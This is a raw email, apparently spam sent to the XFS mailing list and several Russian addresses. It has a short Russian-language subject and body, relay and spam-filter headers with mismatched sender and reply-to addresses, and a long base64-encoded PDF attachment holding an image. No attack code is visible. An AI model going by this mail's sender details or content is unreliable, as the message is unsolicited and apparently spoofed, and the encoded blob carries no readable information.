(cp67.agava.net [89.108.66.223]) by cuda.sgi.com with ESMTP id VGt0HpHipSRZ2xJr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 02:31:44 -0800 (PST) X-Barracuda-Envelope-From: daskripkin@vbc.bc.ca X-Barracuda-Apparent-Source-IP: 89.108.66.223 Received: from [61.177.248.202] (helo=Unknown) by cp67.agava.net with esmtpa (Exim 4.74 (FreeBSD)) (envelope-from <daskripkin@vbc.bc.ca>) id 1W6HZP-000A1k-7b; Thu, 23 Jan 2014 14:31:39 +0400 Message-ID: <03974DB9436D4F97A5422C86EE502E36@tnxw> Reply-To: =?windows-1251?B?1MXExdDAy9zNwN8gys7N0tDAytLNwN8g0cjR?= =?windows-1251?B?0sXMwA==?= <dylan@telepac.pt> From: =?windows-1251?B?1MXExdDAy9zNwN8gys7N0tDAytLNwN8g0cjR?= =?windows-1251?B?0sXMwA==?= <daskripkin@vbc.bc.ca> To: <ichikovitova@creative-grp.ru>, <xfs@oss.sgi.com>, <seaner@telefonica.net>, <orlov@graph.runnet.ru>, <aleksej@lal.spb.ru> Subject: =?windows-1251?B?w87R08TA0NHSwsXNzdvJIMfAysDHIDIwMTQg?= =?windows-1251?B?1MrR?= Date: Thu, 23 Jan 2014 11:32:03 +0100 X-ASG-Orig-Subj: =?windows-1251?B?w87R08TA0NHSwsXNzdvJIMfAysDHIDIwMTQg?= =?windows-1251?B?1MrR?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1ABB_01CF182E.BCEE74A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cp67.agava.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [26 6] / [26 6] X-AntiAbuse: Sender Address Domain - vbc.bc.ca X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: cp67.agava.net[89.108.66.223] X-Barracuda-Start-Time: 1390473103 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: ec94f3d5fe95516729576d925dfd0e57-50286-unk X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1ABB_01CF182E.BCEE74A0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1ABC_01CF182E.BCEE74A0" ------=_NextPart_001_1ABC_01CF182E.BCEE74A0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C3=CE=D1=D3=C4=C0=D0=D1=D2=C2=C5=CD=CD=DB=C9 =C7=C0=CA=C0=C7 2014 =D4=CA= =D1 ------=_NextPart_001_1ABC_01CF182E.BCEE74A0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1251" http-equiv=3DContent-= Type> <META name=3DGENERATOR content=3D"MSHTML 8.00.6001.19154"> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV>=C3=CE=D1=D3=C4=C0=D0=D1=D2=C2=C5=CD=CD=DB=C9 =C7=C0=CA=C0=C7 2014 =D4= =CA=D1</DIV></BODY></HTML> ------=_NextPart_001_1ABC_01CF182E.BCEE74A0-- ------=_NextPart_000_1ABB_01CF182E.BCEE74A0 Content-Type: application/octet-stream; name="=?windows-1251?B?0/fg8fLo5SDiIOPu8fPk4PDx8uLl7e3u7CDn?= =?windows-1251?B?4Org5+UucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?0/fg8fLo5SDiIOPu8fPk4PDx8uLl7e3u7CDn?= =?windows-1251?B?4Org5+UucGRm?=" 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 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCA3OTQvSGVpZ2h0IDExMjMvTGVuZ3RoIDQ2MzAwL0NvbG9yU3BhY2VbL0luZGV4 ZWRbL0lDQ0Jhc2VkIDEgMCBSXSA2MygAAAArKlwpXGJcYhMFBHADApIBAagBALkVD7AqXCmnXFxd rQEAyAAA2DIv0wEB5wAA/wAD/gAL/wUC9gAX/xZccvYmGPYBJ/8COP8XMfwzL/UaEtBHOvsCSf9c clP/LVP9XHRt/zNs/09Rz1FP+k5w/G9v+2lk4UA+v4Z29egY8R2b/0+L/3KL/FKs/3Cu/yfl/3P4 /2Hb/3mIyI+Q+pKt/a6w+rTL+4/7/676/5vN9c7R+NL1/v////7+/vj7/urz/dzT76Gi2SldL0Rl Y29kZVBhcm1zPDwvQml0c1BlckNvbXBvbmVudCA4L1ByZWRpY3RvciAxNS9Db2x1bW5zIDc5NC9D b2xvcnMgMT4+L0JpdHNQZXJDb21wb25lbnQgOC9GaWx0ZXIvRmxhdGVEZWNvZGU+PnN0cmVhbQp4 Xu19CUMTS9P1/Z6rqCwDIiCbKKK+7oqoFyPo//9XX+1d3dOBkGSy1oGuOnWqp2cy6crMZP2nFwgE KojSCASqiNIIBKqI0ggEqojSCASqiNIIBKqI0ggEqojSCASqiNIIBKqI0ggEqojSCASqiNIIBKqI 0ggEqojSCASqiNIIBKqI0ggEqojSCASqiNIIBKqI0ggEqojSCASqiNIIBKqI0ggEqojSCASqiNII BKqI0ggEqojSCASqiNIIBKqI0ggEqojSCASqiNIIBKqI0ggEqojSCASqiNIIBKqI0ggEqojSCASq WLzS+H/iA4GRsECl8f+oKNiqCwSGxYKVxv8DWBAIjICFKQ0uCikNLZBAYGgsYGkwRA4EhsRilgYQ kQOBIbEopSE1wZBIUoHAMFjI0mBIJiGKJXAHzGdptGc+FUMOySgqUiDQH/NbGvk8JyWHZBQVKRDo jzk9ocrnOUZVSB5RxoHAzZjj0khTHYgIBSRvWQkDgdsxr5fhMM9///5d1IZQctII1NWiQGAQzGtp UCnYhMcAwDQpxLQyojQCd8LcHjVwsqfjBlVCC5KDbtSbw0BgIMxraeBspylPZVGvDU1xafyO0gjc BfNXGjztcboj5AK8f2lASrrikQPjQGAQzF1p2ERn8HSv1oZWUbGEXbsHAjdh3kqjNc8HgfQVxIEj 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 